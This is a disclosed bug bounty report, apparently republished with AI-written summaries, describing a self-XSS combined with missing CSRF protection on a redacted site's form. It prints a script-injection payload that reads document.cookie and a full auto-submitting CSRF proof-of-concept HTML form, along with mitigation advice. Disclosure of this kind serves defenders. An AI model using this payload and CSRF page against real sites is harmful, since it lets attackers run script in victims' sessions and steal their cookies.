Self XSS + CSRF Leads to Reflected XSS in https://████/
The report claims that a form on the target site is vulnerable to self-XSS and lacks CSRF protection, allowing an attacker to combine these to perform a reflected XSS attack that executes JavaScript in the victim's browser.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 27 days
- Disclosed after 29 days
Hi Security Team, The form inputs in https://███/ Vulnerable to Self XSS Either the form was vulnerable to CSRF
When these two bugs available and attacker could combine them to Perform a Reflected XSS Attack
Impact
Reflected XSS Execute JS Code in behave of a user
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
1 - Visit https://███████/
2 - type the payload in the "First Name" input test";</script><script>alert(document.cookie)</script>
3 - Fill all input then submit the form
4 - Notice the XSS popup
5 - Exploit the CSRF to Perform Reflected XSS attack by this Code:-
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://██████████/" method="POST">
<input type="hidden" name="title" value="es" />
<input type="hidden" name="first_name" value="test";</script><script>alert(document.cookie)</script>" />
<input type="hidden" name="middle_name" value="test" />
<input type="hidden" name="last_name" value="test" />
<input type="hidden" name="suffix" value="II" />
<input type="hidden" name="sex" value="M" />
<input type="hidden" name="██████_█████" value="█████" />
<input type="hidden" name="████████_███████_number" value="21365" />
<input type="hidden" name="address_1" value="test" />
<input type="hidden" name="address_2" value="test" />
<input type="hidden" name="city" value="test" />
<input type="hidden" name="state" value="ID" />
<input type="hidden" name="zip_code" value="53228" />
<input type="hidden" name="country_code" value="" />
<input type="hidden" name="completion_date" value="2/23/2021" />
<input type="hidden" name="comments" value="test" />
<input type="hidden" name="mail_to_first_name" value="test";</script><script>alert("HACKED BY Sleep NOt Found")</script>" />
<input type="hidden" name="mail_to_middle_name" value="test" />
<input type="hidden" name="mail_to_last_name" value="test" />
<input type="hidden" name="mail_to_suffix" value="II" />
<input type="hidden" name="mail_to_address_1" value="test" />
<input type="hidden" name="mail_to_address_2" value="test" />
<input type="hidden" name="mail_to_city" value="test" />
<input type="hidden" name="mail_to_state" value="ID" />
<input type="hidden" name="mail_to_zip_code" value="53228" />
<input type="hidden" name="mail_to_country_code" value="" />
<input type="hidden" name="mail_to_email" value="lind.regan4046@yousmail.com" />
<input type="hidden" name="multiple_submissions" value="true" />
<input type="hidden" name="uniqueFormId" value="8567588" />
<input type="hidden" name="action" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Suggested Mitigation/Remediation Actions
The input Should be sanitized The Form should be Protected with a CSRF Token
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application fails to sanitise user input in the 'First Name' field and does not implement anti-CSRF tokens, allowing script injection and cross-site form submission.
Impact
An attacker could execute JavaScript in the context of a user's session.
What the attacker needed
Victim visits malicious page; victim submits form
How it was found
- Visit the target URL.
- Type a script payload into the 'First Name' input.
- Fill all inputs and submit the form.
- Observe the XSS popup.
- Use the provided CSRF HTML to perform a reflected XSS attack.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The form on a website did not properly clean up what users typed, so a malicious script could be inserted. Also, the form could be submitted from another website without the user's knowledge. Together, an attacker could trick a user into running harmful code.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.